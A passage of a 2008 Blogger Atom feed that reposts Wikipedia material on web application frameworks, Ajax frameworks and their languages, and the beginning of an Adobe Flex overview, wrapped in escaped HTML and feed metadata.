href="http://en.wikipedia.org/wiki/Python_%28programming_language%29"&gt;Python&lt;/A&gt;&lt;/h2&gt;&lt;UL&gt;&lt;LI&gt;&lt;A title="CherryPy" href="http://en.wikipedia.org/wiki/CherryPy"&gt;CherryPy&lt;/A&gt;&lt;LI&gt;&lt;A title="Django (web framework)" href="http://en.wikipedia.org/wiki/Django_%28web_framework%29"&gt;Django&lt;/A&gt;&lt;LI&gt;&lt;A title="Karrigell" href="http://en.wikipedia.org/wiki/Karrigell"&gt;Karrigell&lt;/A&gt;&lt;LI&gt;&lt;A title="Nevow" href="http://en.wikipedia.org/wiki/Nevow"&gt;Nevow&lt;/A&gt;&lt;LI&gt;&lt;A title="Porcupine (web framework)" href="http://en.wikipedia.org/wiki/Porcupine_%28web_framework%29"&gt;Porcupine&lt;/A&gt;&lt;LI&gt;&lt;A title="Pylons (web framework)" href="http://en.wikipedia.org/wiki/Pylons_%28web_framework%29"&gt;Pylons&lt;/A&gt;&lt;LI&gt;&lt;A title="Spyce" href="http://en.wikipedia.org/wiki/Spyce"&gt;Spyce&lt;/A&gt;&lt;LI&gt;&lt;A title="TurboGears" href="http://en.wikipedia.org/wiki/TurboGears"&gt;TurboGears&lt;/A&gt;&lt;LI&gt;&lt;A title="TwistedWeb" href="http://en.wikipedia.org/wiki/TwistedWeb"&gt;TwistedWeb&lt;/A&gt;&lt;LI&gt;&lt;A title="Webware" href="http://en.wikipedia.org/wiki/Webware"&gt;Webware&lt;/A&gt;&lt;LI&gt;&lt;A title="Zope" href="http://en.wikipedia.org/wiki/Zope"&gt;Zope&lt;/A&gt;&lt;/LI&gt;&lt;/UL&gt;&lt;h3&gt;Other languages/Multiple languages&lt;/h3&gt;&lt;UL&gt;&lt;LI&gt;&lt;A title="Alpha Five" href="http://en.wikipedia.org/wiki/Alpha_Five"&gt;Alpha Five&lt;/A&gt;&lt;LI&gt;&lt;A title="BarracudaDrive" href="http://en.wikipedia.org/wiki/BarracudaDrive"&gt;BarracudaDrive&lt;/A&gt; Application Server with integrated &lt;A title="Lua (programming language)" href="http://en.wikipedia.org/wiki/Lua_%28programming_language%29"&gt;Lua_(programming_language)&lt;/A&gt;&lt;LI&gt;&lt;A title="Fusebox (programming)" href="http://en.wikipedia.org/wiki/Fusebox_%28programming%29"&gt;Fusebox&lt;/A&gt; (&lt;A title="ColdFusion" href="http://en.wikipedia.org/wiki/ColdFusion"&gt;ColdFusion&lt;/A&gt; and &lt;A title="PHP" href="http://en.wikipedia.org/wiki/PHP"&gt;PHP&lt;/A&gt;)   &lt;LI&gt;&lt;A title="Kepler (software)" href="http://en.wikipedia.org/wiki/Kepler_%28software%29"&gt;Kepler&lt;/A&gt; (&lt;A title="Lua" href="http://en.wikipedia.org/wiki/Lua"&gt;Lua&lt;/A&gt;)   &lt;LI&gt;&lt;A title="HAppS" href="http://en.wikipedia.org/wiki/HAppS"&gt;HAppS&lt;/A&gt; (&lt;A title="Haskell (programming language)" href="http://en.wikipedia.org/wiki/Haskell_%28programming_language%29"&gt;Haskell&lt;/A&gt;)   &lt;LI&gt;&lt;A title="Morfik" href="http://en.wikipedia.org/wiki/Morfik"&gt;Morfik&lt;/A&gt;, use Pascal, Basic, Java or   C# to develop full Ajax apps.   &lt;LI&gt;&lt;A title="OpenACS" href="http://en.wikipedia.org/wiki/OpenACS"&gt;OpenACS&lt;/A&gt; (&lt;A title="Tcl" href="http://en.wikipedia.org/wiki/Tcl"&gt;Tcl&lt;/A&gt;)   &lt;LI&gt;&lt;A title="Seaside web framework" href="http://en.wikipedia.org/wiki/Seaside_web_framework"&gt;Seaside&lt;/A&gt; (&lt;A title="Smalltalk" href="http://en.wikipedia.org/wiki/Smalltalk"&gt;Smalltalk&lt;/A&gt;)   &lt;LI&gt;&lt;A title="UnCommon Web" href="http://en.wikipedia.org/wiki/UnCommon_Web"&gt;UnCommon Web&lt;/A&gt; (&lt;A title="Lisp (programming language)" href="http://en.wikipedia.org/wiki/Lisp_%28programming_language%29"&gt;Common Lisp&lt;/A&gt;)   &lt;LI&gt;&lt;A title="Yaws (web server)" href="http://en.wikipedia.org/wiki/Yaws_%28web_server%29"&gt;Yaws&lt;/A&gt; (&lt;A title="Erlang (programming language)" href="http://en.wikipedia.org/wiki/Erlang_%28programming_language%29"&gt;Erlang&lt;/A&gt;) &lt;/LI&gt;&lt;/UL&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-8436629373833583631?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/8436629373833583631/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=8436629373833583631' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/8436629373833583631'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/8436629373833583631'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2008/05/list-of-web-application-frameworks.html' title='List of web application frameworks'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-8874252229591919508</id><published>2008-05-20T16:39:00.002+05:30</published><updated>2008-05-20T19:07:35.798+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='AJAX'/><category scheme='http://www.blogger.com/atom/ns#' term='Frameworks'/><title type='text'>Ajax framework</title><content type='html'>&lt;p&gt;An &lt;strong&gt;Ajax&lt;/strong&gt;&lt;strong&gt; framework&lt;/strong&gt; is a &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Web_application_framework" title="Web application framework"&gt;framework&lt;/a&gt; that helps to develop web  applications that use &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Ajax_%28programming%29" title="Ajax (programming)"&gt;&lt;em&gt;Ajax&lt;/em&gt;&lt;/a&gt;, a collection of technologies used  to build dynamic web pages on the client side. Data is read from the server or  sent to the server by JavaScript requests. However, some processing at the  server side may be required to handle requests, such as finding and storing the  data. This is accomplished more easily with the use of a framework dedicated to  process Ajax  requests. The goal of the framework is to provide the Ajax engine described below and associated  server and client-side functions.&lt;/p&gt;&lt;h3&gt;Benefit of a framework &lt;/h3&gt;&lt;p&gt;In the article that coined the  &amp;quot;Ajax&amp;quot;  term, J.J. Garrett describes the technology as &amp;quot;an intermediary...between  the user and the server.&amp;quot; This Ajax  engine is intended to suppress the delays perceived by the user when a page  attempts to access the server. A framework eases the work of the Ajax programmer at two  levels: on the client side, it offers JavaScript functions to send requests to  the server. On the server side, it processes the requests, searches for the data,  and transmits them to the browser. Some frameworks are very elaborate and  provide a complete library to build web applications.&lt;/p&gt;&lt;h3&gt;Types of frameworks &lt;/h3&gt;&lt;p&gt;Ajax frameworks can be loosely grouped into categories according to the  features they offer and the skills required of the user:&lt;/p&gt;&lt;h2&gt;Direct Ajax  frameworks &lt;/h2&gt;&lt;p&gt;These frameworks require HTML,  CSS and Ajax  expertise: a developer is expected to author pages directly in HTML, and  framework APIs deal directly with HTML elements. &lt;/p&gt;&lt;p&gt;Cross-browser APIs are  provided for a variety of purposes, commonly including communications, DOM  manipulation, event handling, and sizing/moving/animating HTML elements.&lt;/p&gt;&lt;p&gt;  These frameworks are generally  smaller. They are commonly used for a web &lt;em&gt;site&lt;/em&gt; such as a shopping  experience, but not for a web &lt;em&gt;application&lt;/em&gt; such as web-based email, at  least not without further frameworks layered on top.&lt;/p&gt;&lt;h2&gt;Ajax component  frameworks &lt;/h2&gt;&lt;p&gt;These frameworks offer pre-built  components, such as tabbed panes, which automatically create and manage their  own HTML. Components are generally created via JavaScript or XML tags, or by  adding special attributes to normal HTML elements. These frameworks are  generally larger, and intended for web &lt;em&gt;applications&lt;/em&gt; rather than web &lt;em&gt;sites&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;  Some component frameworks require  the developer to have extensive HTML/CSS/Ajax experience and to do  cross-browser testing. For example, grids, tabs, and buttons may be provided,  but user input forms are expected to be authored directly in HTML/CSS and  manipulated via Ajax  techniques. Other frameworks provide a complete component suite such that only  general XML and/or JavaScript abilities are required.&lt;/p&gt;&lt;p&gt;  Ajax component frameworks can enable more  rapid development than direct Ajax frameworks,  but with less control, hence it is key that an Ajax component framework provides the  following:&lt;/p&gt;&lt;ul type="disc"&gt;  &lt;li&gt;customization APIs, e.g., an event that fires       when the user stops editing within a grid &lt;/li&gt;  &lt;li&gt;skinning facilities, where appearance can be       changed without affecting behavior or layout &lt;/li&gt;  &lt;li&gt;programmatic control, e.g., dynamically       adding tabs or dynamically creating components based on user data &lt;/li&gt;  &lt;li&gt;extensibility&amp;mdash;creation of new components       based on other components, so that the benefits of a component-based       framework are not lost &lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Server-driven Ajax frameworks &lt;/h2&gt;&lt;p&gt;Several frameworks offer a  server-side component-based development model with some degree of Ajax support.&lt;/p&gt;&lt;p&gt;  Components are created and  manipulated on the server using a server-side programming language. Pages are  then rendered by a combination of server-side and client-side HTML generation  and manipulation. User actions are communicated to the server via Ajax techniques,  server-side code manipulates a server-side component model, and changes to the  server component model are reflected on the client automatically.&lt;/p&gt;&lt;p&gt;  These frameworks offer familiarity  for server-side developers at the expense of some degree of power and  performance. Ajax  frameworks that handle presentation completely within the browser offer greater  responsiveness because they handle many more user interactions without server  involvement. In a server-driven model, some UI interactions can become chatty,  for example an input field that is dynamically enabled or disabled based on  server-side code may cause many network requests. Furthermore, server-dependent  Ajax frameworks  will never be able to offer offline support. Still, this approach is popular,  especially in situations where the benefits of a full Ajax architecture can't be captured anyway.&lt;/p&gt;&lt;p&gt;  Extending such a framework may  require the developer to understand which parts of the presentation are handled  on the client vs on the server, and to write a mixture of Ajax and server-side code.&lt;/p&gt;&lt;h3&gt;Frameworks and languages/platforms &lt;/h3&gt;&lt;h2&gt;JavaScript &lt;/h2&gt;&lt;p&gt;JavaScript utilities run  browser-side and are very commonly used in Ajax development. There are many JavaScript  utilities available. &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Prototype_JavaScript_Framework" title="Prototype JavaScript Framework"&gt;Prototype&lt;/a&gt; is a JavaScript extension  that provides utilities to complement the short comings of JavaScript. &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Script.aculo.us" title="Script.aculo.us"&gt;Script.aculo.us&lt;/a&gt; is used with the Prototype Framework, mainly utilities for animations. &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Yahoo%21_UI_Library" title="Yahoo! UI Library"&gt;Yahoo! UI Library&lt;/a&gt; is a set of utilities and  controls, for building richly interactive web applications using techniques  such as DOM scripting, DHTML and Ajax.  In addition to JavaScript utilities there are more complete Ajax Frameworks  that provide utilities, pre-build widgets, debugging tools and visual Ajax development tools  and client-server sync capabilities. &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Dojo_Toolkit" title="Dojo Toolkit"&gt;Dojo  Toolkit&lt;/a&gt; is a Javascript library and widgets architected to provide semantic  extensions to HTML. &lt;/p&gt;&lt;h2&gt;PHP &lt;/h2&gt;&lt;p&gt;A PHP framework is able to deal  with database, search data, and build pages or parts of page and publish the  page or return data to the XMLHttpRequest object. PHP 5 specifically, thanks to  its SimpleXML class, is able to create XML files that may be returned to the  object. However, it is better to use a predefined library that performs the  various tasks, for example &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Sajax" title="Sajax"&gt;Sajax&lt;/a&gt;, a PHP framework with a lot of functions, easy to integrate  functions yourself or &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Xajax" title="Xajax"&gt;Xajax&lt;/a&gt; that uses only the XML format, on the server side.&lt;/p&gt;&lt;h2&gt;Java &lt;/h2&gt;&lt;p&gt;Such frameworks use Java for  server-side AJAX  operations. The &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Google_Web_Toolkit" title="Google Web Toolkit"&gt;Google Web Toolkit&lt;/a&gt;, a widget library with Java  to JavaScript compiler is widely used by webmasters.&lt;/p&gt;&lt;h2&gt;.NET &lt;/h2&gt;&lt;p&gt;The &lt;a target="_blank" href="http://en.wikipedia.org/wiki/Ajax.NET" title="Ajax.NET"&gt;Ajax.NET  Professional&lt;/a&gt; and &lt;a target="_blank" href="http://en.wikipedia.org/wiki/ASP.NET_AJAX" title="ASP.NET AJAX"&gt;ASP.NET AJAX&lt;/a&gt; (previously &lt;em&gt;Microsoft Atlas&lt;/em&gt;)  frameworks are available for the Windows .NET platform.&lt;/p&gt;&lt;h2&gt;C++ &lt;/h2&gt;&lt;p&gt;C++ Toolkits are interfaces to Ajax technology. For  example Wt (witty) is a WebToolkit allowing programmers to write code in C++  (without real knowledge of Ajax),  generating content rich Ajax GUI. OpenSource Licence.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-8874252229591919508?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/8874252229591919508/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=8874252229591919508' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/8874252229591919508'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/8874252229591919508'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2008/05/ajax-framework.html' title='Ajax framework'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-6694247162522289816</id><published>2008-05-20T16:38:00.000+05:30</published><updated>2008-05-20T16:48:18.779+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='AJAX'/><category scheme='http://www.blogger.com/atom/ns#' term='Frameworks'/><title type='text'>List of Ajax frameworks</title><content type='html'>&lt;h5 id="siteSub"&gt;From Wikipedia, the free encyclopedia&lt;/h5&gt;&lt;p&gt;This is a list of notable &lt;a target="_blank" title="Ajax framework" href="http://en.wikipedia.org/wiki/Ajax_framework"&gt;Ajax frameworks&lt;/a&gt;, used for creating &lt;a target="_blank" title="Web application" href="http://en.wikipedia.org/wiki/Web_application"&gt;web applications&lt;/a&gt; with a   dynamic link between the client (and sometimes the server).&lt;/p&gt;  &lt;h3&gt;   JavaScript&lt;/h3&gt;  &lt;p&gt;JavaScript Frameworks are browser-side frameworks very commonly used in Ajax   development. There are hundreds of JavaScript frameworks available &amp;mdash; according   to the last surveys&lt;a target="_blank" title="" href="#cite_note-0"&gt;&lt;/a&gt;, the most used JavaScript frameworks are:&lt;/p&gt;  &lt;table&gt;    &lt;tbody&gt;      &lt;tr&gt;        &lt;th&gt;Framework&lt;/th&gt;      &lt;/tr&gt;      &lt;tr&gt;        &lt;td&gt;&lt;a target="_blank" title="Backbase" href="http://en.wikipedia.org/wiki/Backbase"&gt;Backbase&lt;/a&gt;, an Enterprise Ajax   Framework for creating Rich Internet Applictions&lt;/td&gt;      &lt;/tr&gt;      &lt;tr&gt;        &lt;td&gt;&lt;a target="_blank" title="Dojo Toolkit" href="http://en.wikipedia.org/wiki/Dojo_Toolkit"&gt;Dojo Toolkit&lt;/a&gt;, an Open   Source DHTML toolkit written in JavaScript&lt;/td&gt;      &lt;/tr&gt;      &lt;tr&gt;        &lt;td&gt;&lt;a target="_blank" title="Ext (javascript library)" href="http://en.wikipedia.org/wiki/Ext_%28javascript_library%29"&gt;Ext (javascript library)&lt;/a&gt;, a   library that extends Prototype, Jquery and YUI&lt;/td&gt;      &lt;/tr&gt;      &lt;tr&gt;        &lt;td&gt;&lt;a target="_blank" title="JQuery" href="http://en.wikipedia.org/wiki/JQuery"&gt;jQuery&lt;/a&gt;, a JavaScript framework that   provides an Ajax framework and other utilities&lt;/td&gt;      &lt;/tr&gt;      &lt;tr&gt;        &lt;td&gt;&lt;a target="_blank" title="Mootools" href="http://en.wikipedia.org/wiki/Mootools"&gt;Mootools&lt;/a&gt;, a   compact and modular JavaScript framework best known for its visual effects and   transitions&lt;/td&gt;      &lt;/tr&gt;      &lt;tr&gt;        &lt;td&gt;&lt;a target="_blank" title="Prototype JavaScript Framework" href="http://en.wikipedia.org/wiki/Prototype_JavaScript_Framework"&gt;Prototype&lt;/a&gt;, a JavaScript   framework that provides Ajax and other utilities&lt;/td&gt;      &lt;/tr&gt;      &lt;tr&gt;        &lt;td&gt;&lt;a target="_blank" title="Script.aculo.us" href="http://en.wikipedia.org/wiki/Script.aculo.us"&gt;Script.aculo.us&lt;/a&gt;,   Used with the Prototype Framework, mainly for animations and interface   development&lt;/td&gt;      &lt;/tr&gt;      &lt;tr&gt;        &lt;td&gt;&lt;a target="_blank" title="Yahoo! UI Library" href="http://en.wikipedia.org/wiki/Yahoo%21_UI_Library"&gt;Yahoo! UI   Library&lt;/a&gt;, a set of utilities and controls, for building richly interactive   web applications using techniques such as DOM scripting, DHTML and Ajax&lt;/td&gt;      &lt;/tr&gt;    &lt;/tbody&gt;  &lt;/table&gt;  &lt;p&gt;Other frameworks not among the most used includes:&lt;/p&gt;  &lt;ul&gt;    &lt;li&gt;&lt;a target="_blank" title="Clean AJAX" href="http://en.wikipedia.org/wiki/Clean_AJAX"&gt;Clean AJAX&lt;/a&gt;, framework also   able to deal with web services &lt;/li&gt;  &lt;/ul&gt;  &lt;h3&gt;   C++&lt;/h3&gt;  &lt;p&gt;C++ Toolkits are interfaces to Ajax technology&lt;/p&gt;  &lt;ul&gt;    &lt;li&gt;&lt;a target="_blank" title="WebToolkit (page does not exist)" href="http://en.wikipedia.org/w/index.php?title=WebToolkit&amp;amp;action=edit&amp;amp;redlink=1"&gt;Wt&lt;/a&gt; (witty) is a WebToolkit, allowing programmers to write code in C++ (without real   knowledge of Ajax), generating content rich Ajax GUI. OpenSource Licence. &lt;/li&gt;  &lt;/ul&gt;  &lt;h3&gt;   Java&lt;/h3&gt;  &lt;p&gt;These frameworks use Java for server-side AJAX operations:&lt;/p&gt;  &lt;ul&gt;    &lt;li&gt;&lt;a target="_blank" title="Backbase" href="http://en.wikipedia.org/wiki/Backbase"&gt;Backbase&lt;/a&gt;, Enterprise Ajax for   JSF (Java Server Faces) &lt;/li&gt;    &lt;li&gt;&lt;a target="_blank" title="Echo (framework)" href="http://en.wikipedia.org/wiki/Echo_%28framework%29"&gt;Echo&lt;/a&gt;, a   Java framework for Ajax servlets &lt;/li&gt;    &lt;li&gt;&lt;a target="_blank" title="Google Web Toolkit" href="http://en.wikipedia.org/wiki/Google_Web_Toolkit"&gt;Google Web   Toolkit&lt;/a&gt;, a widget library with Java to JavaScript compiler &lt;/li&gt;    &lt;li&gt;&lt;a target="_blank" title="DWR" href="http://en.wikipedia.org/wiki/DWR"&gt;DWR&lt;/a&gt;, Direct Web Remoting, DWR allows   Javascript in a browser to interact with Java on a server and helps you   manipulate web pages with the results. &lt;/li&gt;    &lt;li&gt;&lt;a target="_blank" title="JMaki (page does not exist)" href="http://en.wikipedia.org/w/index.php?title=JMaki&amp;amp;action=edit&amp;amp;redlink=1"&gt;jMaki&lt;/a&gt;, an AJAX   framework that can be plugged into netbeans or eclipse IDE &lt;/li&gt;  &lt;/ul&gt;  &lt;h3&gt;.NET&lt;/h3&gt;  &lt;p&gt;The following frameworks are available for the Windows .NET platform:&lt;/p&gt;  &lt;ul&gt;    &lt;li&gt;&lt;a target="_blank" title="Ajax.NET" href="http://en.wikipedia.org/wiki/Ajax.NET"&gt;Ajax.NET Professional&lt;/a&gt; &lt;/li&gt;    &lt;li&gt;&lt;a target="_blank" title="ASP.NET AJAX" href="http://en.wikipedia.org/wiki/ASP.NET_AJAX"&gt;ASP.NET AJAX&lt;/a&gt; (previously &lt;em&gt;Microsoft Atlas&lt;/em&gt;) &lt;/li&gt;  &lt;/ul&gt;  &lt;h3&gt;   ColdFusion&lt;/h3&gt;  &lt;p&gt;The following frameworks are available for ColdFusion:&lt;/p&gt;  &lt;ul&gt;    &lt;li&gt;&lt;a target="_blank" title="http://www.robgonda.com/blog/projects/ajaxcfc/" href="http://www.robgonda.com/blog/projects/ajaxcfc/" rel="nofollow"&gt;AjaxCFC&lt;/a&gt;&lt;/li&gt;  &lt;/ul&gt;  &lt;h3&gt;   PHP&lt;/h3&gt;  &lt;p&gt;A PHP framework is able to deal with database, search data, and build pages   or parts of page and publish the page or return data to the XMLHttpRequest   object. PHP 5 specifically, thanks to its SimpleXML class, is able to create XML   files that may be returned to the object. However, it is better to use a   predefined library that performs the various tasks.&lt;/p&gt;  &lt;ul&gt;    &lt;li&gt;&lt;a target="_blank" title="Sajax" href="http://en.wikipedia.org/wiki/Sajax"&gt;Sajax&lt;/a&gt; Is a PHP framework with a lot of   functions, easy to integrate functions yourself. &lt;/li&gt;    &lt;li&gt;&lt;a target="_blank" title="Tigermouse" href="http://en.wikipedia.org/wiki/Tigermouse"&gt;Tigermouse&lt;/a&gt; is a modern Ajax   driven MVC framework for web applications development. &lt;/li&gt;    &lt;li&gt;&lt;a target="_blank" title="Xajax" href="http://en.wikipedia.org/wiki/Xajax"&gt;Xajax&lt;/a&gt; uses only the XML format, on the   server side. &lt;/li&gt;  &lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-6694247162522289816?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/6694247162522289816/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=6694247162522289816' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/6694247162522289816'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/6694247162522289816'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2008/05/list-of-ajax-frameworks.html' title='List of Ajax frameworks'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-8476776081969649550</id><published>2008-05-09T15:01:00.001+05:30</published><updated>2008-05-20T12:45:53.739+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Technology Upgrades'/><title type='text'>Adobe Flex</title><content type='html'>&lt;H4&gt;From Wikipedia, the free encyclopedia&lt;/H4&gt;&lt;p&gt;&lt;strong&gt;Adobe Flex&lt;/strong&gt; is a collection of technologies released by &lt;A target="_blank" title="Adobe Systems" href="http://en.wikipedia.org/wiki/Adobe_Systems"&gt;Adobe Systems&lt;/A&gt; for the   development and deployment of cross platform, &lt;A target="_blank" title="Rich Internet application" href="http://en.wikipedia.org/wiki/Rich_Internet_application"&gt;rich   Internet applications&lt;/A&gt; based on the proprietary &lt;A target="_blank" title="Adobe Flash" href="http://en.wikipedia.org/wiki/Adobe_Flash"&gt;Adobe Flash&lt;/A&gt; platform. The initial release in March   2004 by &lt;A target="_blank" title="Macromedia" href="http://en.wikipedia.org/wiki/Macromedia"&gt;Macromedia&lt;/A&gt; included a &lt;A target="_blank" title="Software development kit" href="http://en.wikipedia.org/wiki/Software_development_kit"&gt;software   development kit&lt;/A&gt;, an &lt;A target="_blank" title="Integrated development environment" href="http://en.wikipedia.org/wiki/Integrated_development_environment"&gt;IDE&lt;/A&gt;, and a &lt;A target="_blank" title="Java Platform, Enterprise Edition" href="http://en.wikipedia.org/wiki/Java_Platform%2C_Enterprise_Edition"&gt;J2EE&lt;/A&gt; integration   application known as &lt;A target="_blank" title="Flex Data Services" href="http://en.wikipedia.org/wiki/Flex_Data_Services"&gt;Flex Data Services&lt;/A&gt;. Since Adobe acquired   Macromedia in 2005, subsequent releases of Flex no longer require a license for   Flex Data Services, which has become a separate product rebranded as LiveCycle   Data Services.&lt;/p&gt;&lt;p&gt;In February 2008, Adobe released the Flex 3 SDK under the &lt;A target="_blank" title="Open source" href="http://en.wikipedia.org/wiki/Open_source"&gt;open source&lt;/A&gt; &lt;A target="_blank" title="Mozilla Public License" href="http://en.wikipedia.org/wiki/Mozilla_Public_License"&gt;Mozilla   Public License&lt;/A&gt;. &lt;A target="_blank" title="Adobe Flash Player" href="http://en.wikipedia.org/wiki/Adobe_Flash_Player"&gt;Adobe Flash Player&lt;/A&gt;, the runtime on which   Flex applications are viewed, and Flex Builder, the &lt;A target="_blank" title="Integrated Development Environment" href="http://en.wikipedia.org/wiki/Integrated_Development_Environment"&gt;IDE&lt;/A&gt; used to build Flex   applications, remain proprietary.&lt;/p&gt;&lt;H2&gt;Overview&lt;/H2&gt;&lt;p&gt;Traditional application programmers found it challenging to adapt to the   animation &lt;A target="_blank" title="Metaphor" href="http://en.wikipedia.org/wiki/Metaphor"&gt;metaphor&lt;/A&gt; upon which the   Flash Platform was originally designed. Flex seeks to minimize this problem by   providing a workflow and programming model that is familiar to these developers. &lt;A target="_blank" title="MXML" href="http://en.wikipedia.org/wiki/MXML"&gt;MXML&lt;/A&gt;, an &lt;A target="_blank" title="XML" href="http://en.wikipedia.org/wiki/XML"&gt;XML&lt;/A&gt;-based markup language, offers a way to build and lay   out &lt;A target="_blank" title="Graphic user interface" href="http://en.wikipedia.org/wiki/Graphic_user_interface"&gt;graphic user interfaces&lt;/A&gt;. Interactivity   is achieved through the use of &lt;A target="_blank" title="ActionScript" href="http://en.wikipedia.org/wiki/ActionScript"&gt;ActionScript&lt;/A&gt;, the core language of Flash Player   that is based on the &lt;A target="_blank" title="ECMAScript" href="http://en.wikipedia.org/wiki/ECMAScript"&gt;ECMAScript&lt;/A&gt; standard.&lt;/p&gt;&lt;p&gt;The Flex SDK comes with a set of user interface components including buttons,   list boxes, trees, data grids, several text controls, and various layout   containers. Charts and graphs are available as an add-on. Other features like &lt;A target="_blank" title="Web services" href="http://en.wikipedia.org/wiki/Web_services"&gt;web   services&lt;/A&gt;, drag and drop, modal dialogs, animation effects, application   states, form validation, and other interactions round out the application   framework.&lt;/p&gt;&lt;p&gt;In a &lt;A target="_blank" title="Multitier architecture" href="http://en.wikipedia.org/wiki/Multitier_architecture"&gt;multi-tiered model&lt;/A&gt;, Flex applications   serve as the presentation tier. Unlike page-based HTML applications, Flex   applications provide a stateful client where significant changes to the view   don't require loading a new page. Similarly, Flex and Flash Player provide many   useful ways to send and load data to and from server-side components without   requiring the client to reload the view. Though this functionality offered   advantages over HTML and JavaScript development in the past, the increased   support for &lt;A target="_blank" title="XMLHttpRequest" href="http://en.wikipedia.org/wiki/XMLHttpRequest"&gt;XMLHttpRequest&lt;/A&gt; in major browsers has made   asynchronous data loading a common practice in HTML-based development too.&lt;/p&gt;&lt;p&gt;Technologies that are commonly compared to Flex include &lt;A target="_blank" title="OpenLaszlo" href="http://en.wikipedia.org/wiki/OpenLaszlo"&gt;OpenLaszlo&lt;/A&gt;, &lt;A target="_blank" title="Ajax (programming)" href="http://en.wikipedia.org/wiki/Ajax_%28programming%29"&gt;Ajax&lt;/A&gt;, &lt;A target="_blank" title="XUL" href="http://en.wikipedia.org/wiki/XUL"&gt;XUL&lt;/A&gt;, &lt;A target="_blank" title="JavaFX" href="http://en.wikipedia.org/wiki/JavaFX"&gt;JavaFX&lt;/A&gt; and &lt;A target="_blank" title="Windows Presentation Foundation" href="http://en.wikipedia.org/wiki/Windows_Presentation_Foundation"&gt;Windows Presentation Foundation&lt;/A&gt; technologies such as &lt;A target="_blank" title="Silverlight" href="http://en.wikipedia.org/wiki/Silverlight"&gt;Silverlight&lt;/A&gt;.&lt;/p&gt;&lt;H2&gt;   Macromedia Flex Server 1.0 and 1.5&lt;/H2&gt;&lt;p&gt;Macromedia targeted the enterprise application development market with its   initial releases of Flex 1.0 and 1.5. The company offered the technology at a   price around US$15000 per &lt;A target="_blank" title="Central processing unit" href="http://en.wikipedia.org/wiki/Central_processing_unit"&gt;CPU&lt;/A&gt;. Required for deployment, the &lt;A target="_blank" title="Java 2 Platform, Enterprise Edition" href="http://en.wikipedia.org/wiki/Java_2_Platform%2C_Enterprise_Edition"&gt;J2EE&lt;/A&gt; application server   compiled &lt;A target="_blank" title="MXML" href="http://en.wikipedia.org/wiki/MXML"&gt;MXML&lt;/A&gt; and &lt;A target="_blank" title="ActionScript" href="http://en.wikipedia.org/wiki/ActionScript"&gt;ActionScript&lt;/A&gt; on-the-fly into Flash applications   (binary &lt;A target="_blank" title="SWF" href="http://en.wikipedia.org/wiki/SWF"&gt;SWF&lt;/A&gt; files). Each server license   included 5 licenses for the Flex Builder 